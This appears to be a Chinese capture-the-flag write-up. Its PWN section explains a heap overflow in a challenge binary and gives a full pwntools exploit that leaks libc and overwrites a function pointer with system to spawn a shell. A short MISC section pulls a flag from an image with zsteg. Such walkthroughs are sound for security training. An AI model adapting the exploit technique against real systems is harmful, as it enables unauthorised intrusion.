PWN
0x01 强网先锋AP
文件下载 main
先用checksec检测一下
发现保护全开,所以不可以覆盖got表来实现跳转
用IDA分析main,发现没有free,所以不能使用unlink、double free等
在Change函数发现可以无限写漏洞,所以这一题是典型的堆溢出
然后再分析一下struct,如下
1 2 3 4
| struct note{ char * context; void * puts_addr; }
|
溢出思路:我们只需要覆盖puts_addr为system函数,然后context修改为"/bin/sh"所在的地址,然后show一下就可以执行system("/bin/sh")了
但是我们首先需要知道libc的地址,然后推算出system函数的位置。
一、进行堆溢出,将fastbin溢出到PREV_INUSE
我们只需要写入40个’a’即可覆盖到PREV_INUSE的bk位置,bk位置恰好是__IO_puts,然后show一次就可以拿到libc了。
然后查询偏移拿到libc
二、最后我想办法覆盖puts函数和puts函数对应的指针,我们依旧可以考虑溢出第一个chunk到第二个chunk,然后show第二个chunk的数据,就可以拿到system("/bin/sh")了
附上exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| from pwn import * context.log_level = "debug" sh = process("./main") #sh = remote("117.78.37.77",30071) elf = ELF("main") def add(size,context): sh.recvuntil("Choice >>") sh.sendline("1") sh.recvuntil("The length of my owner's name:") sh.sendline(str(size)) sh.recvuntil("Give me my owner's name:") sh.send(context) def show(index): sh.recvuntil("Choice >>") sh.sendline("2") sh.recvuntil("Please tell me which tickets would you want to open?") sh.sendline(index) def edit(index,size,context): sh.recvuntil("Choice >>") sh.sendline("3") sh.recvuntil("nt to change it's owner's name?") sh.sendline(index) sh.recvuntil("The length of my owner's name:") sh.sendline(str(size)) sh.recvuntil("Give me my owner's name:") sh.send(context) add(8,"a"*7) add(8,'b'*7) add(8,'c'*7) add(8,'d'*7) edit("0",60,'a'*40) show("0") sh.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa") puts_got = u64(sh.recv(6)+"\x00\x00") print "puts_got = " + hex(puts_got) edit("0",1000, 'a'*8+'b'*8+'c'*8+'d'*8+p64(puts_got-0x2a300+ 0x1479c7)+p64(puts_got-0x2a300)*2+'e'*8+'f'*8+p64(puts_got-0x2a300+ 0x1479c7)*7) show("1") print "!! "+hex(puts_got-0x2a300+ 0x1479c7) sh.interactive()
|
运行结果:
拿到shell了
MISC
0x01
文件下载 瞅啥.rar
安装zsteg,然后输入zsteg 图片名
直接拿到flag
qwxf{you_say_chick_beautiful?}